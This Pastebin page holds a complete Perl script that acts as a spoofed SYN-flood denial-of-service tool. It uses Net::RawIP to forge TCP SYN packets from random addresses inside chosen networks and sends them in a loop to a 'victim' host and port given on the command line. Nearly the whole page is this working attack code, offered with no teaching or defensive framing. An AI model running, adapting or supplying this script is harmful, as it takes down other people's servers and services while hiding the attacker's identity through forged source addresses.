Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Net::RawIP;
- use Net::Nslookup;
- use Getopt::Long;
- my $handler = new Net::RawIP;
- my $src_port_range = "16383";
- my %opts = (
- 'networks' => "",
- 'dst_addr' => "",
- 'dst_name' => "",
- 'dst_port' => "",
- 'packet_count' => ""
- );
- sub get_rand_saddr($)
- {
- my ($network, $prefix) = shift(@_) =~ /(.+?)\/(.+)/;
- my $netmask_zero_count = 32 - $prefix;
- my @network_dec_array = split(/\./, $network);
- my @network_binary_array = split("", join("", &dec_to_bin(\@network_dec_array)));
- my @saddr_min_binary;
- my @saddr_max_binary;
- for (my $i = 0; $i <= 31; $i++)
- {
- if ($i == 31) {
- push @saddr_min_binary, "1";
- push @saddr_max_binary, "0";
- } elsif($i >= ($prefix - 1)) {
- push @saddr_min_binary, "0";
- push @saddr_max_binary, "1";
- } else {
- push @saddr_min_binary, $network_binary_array[$i];
- push @saddr_max_binary, $network_binary_array[$i];
- }
- }
- my @saddr_min_binary_array = unpack("(A8)*", join("", @saddr_min_binary));
- my @saddr_max_binary_array = unpack("(A8)*", join("", @saddr_max_binary));
- my @saddr_min_dec_array = bin_to_dec(\@saddr_min_binary_array);
- my @saddr_max_dec_array = bin_to_dec(\@saddr_max_binary_array);
- my @octets_array;
- if ($netmask_zero_count <= 8) {
- push @octets_array, 3;
- } elsif ($netmask_zero_count <= 16) {
- push @octets_array, (2, 3);
- } elsif ($netmask_zero_count <= 24) {
- push @octets_array, (1, 2, 3);
- } else {
- push @octets_array, (0, 1, 2, 3);
- }
- my @saddr_rand_array = ( @saddr_min_dec_array );
- foreach my $octet (@octets_array)
- {
- my $k = $saddr_max_dec_array[$octet] - $saddr_min_dec_array[$octet];
- $saddr_rand_array[$octet] = int(rand($k)) + $saddr_min_dec_array[$octet];
- }
- return join(".", @saddr_rand_array);
- }
- sub send_syn_packet($$)
- {
- my $network = shift @_;
- my $dst_addr = shift @_;
- my $src_port = int(rand($src_port_range)) + 49151;
- my $src_addr = get_rand_saddr($network);
- $handler->set(
- {
- ip => {
- saddr => $src_addr,
- daddr => $dst_addr
- },
- tcp => {
- source => $src_port,
- dest => $opts{'dst_port'},
- syn => 1
- }
- }
- );
- $handler->send;
- print $src_addr.":".$src_port." -> ".$dst_addr.":".$opts{'dst_port'}."\n";
- }
- sub dec_to_bin($)
- {
- my $ref = shift @_;
- if(ref($ref) eq 'ARRAY'){
- my @result;
- foreach my $var (@{$ref}) {
- my $tmp = unpack("B32", pack("N", $var));
- $tmp =~ s/^0+(?=\d)//;
- $tmp = bin_complate($tmp);
- push @result, $tmp;
- }
- return @result;
- } else {
- my $result = unpack("B32", pack("N", $ref));
- $result =~ s/^0+(?=\d)//;
- $result = bin_complate($result);
- return $result;
- }
- }
- sub bin_to_dec($)
- {
- my $ref = shift @_;
- if(ref($ref) eq 'ARRAY') {
- my @result;
- foreach my $var (@{$ref}) {
- my $tmp = unpack("N", pack("B32", substr("0" x 32 . $var, -32)));
- push @result, $tmp;
- }
- return @result;
- } else {
- return unpack("N", pack("B32", substr("0" x 32 . $ref, -32)));
- }
- }
- sub bin_complate($)
- {
- my $ref = shift @_;
- my $length = length($ref);
- while($length < 8) { $ref = "0".$ref; $length++; };
- return $ref;
- }
- #
- # MAIN
- #
- my $result = GetOptions (
- "networks=s" => \$opts{'networks'},
- "victim_addr=s" => \$opts{'dst_addr'},
- "victim_name=s" => \$opts{'dst_name'},
- "victim_port=s" => \$opts{'dst_port'},
- "count=s" => \$opts{'packet_count'},
- );
- unless ($opts{'victim_addr'} || $opts{'victim_port'} || $opts{'networks'} || $opts{'networks'} !~ /(?:\d+(?:\.\d+){3}\/(?:\d+).){1}/ || $opts{'count'}) {
- print "Change CLI opts.\n";
- exit 0;
- } else {
- @spoof_network = split(",", $opts{'networks'});
- }
- my $syn_count = $opts{'packet_count'};
- while($syn_count > 0)
- {
- foreach my $network (@spoof_network)
- {
- if ($opts{'dst_name'}) {
- my @dst_addr_array = nslookup(domain => $opts{'dst_name'}, type => "A");
- die("Invaild victim_name param value!\n") if ($#dst_addr_array + 1) < 1;
- foreach my $dst_addr (@dst_addr_array)
- {
- send_syn_packet($network, $dst_addr);
- }
- } else {
- send_syn_packet($network, $opts{'dst_addr'});
- }
- }
- $syn_count--;
- }
Add Comment
Please, Sign In to add comment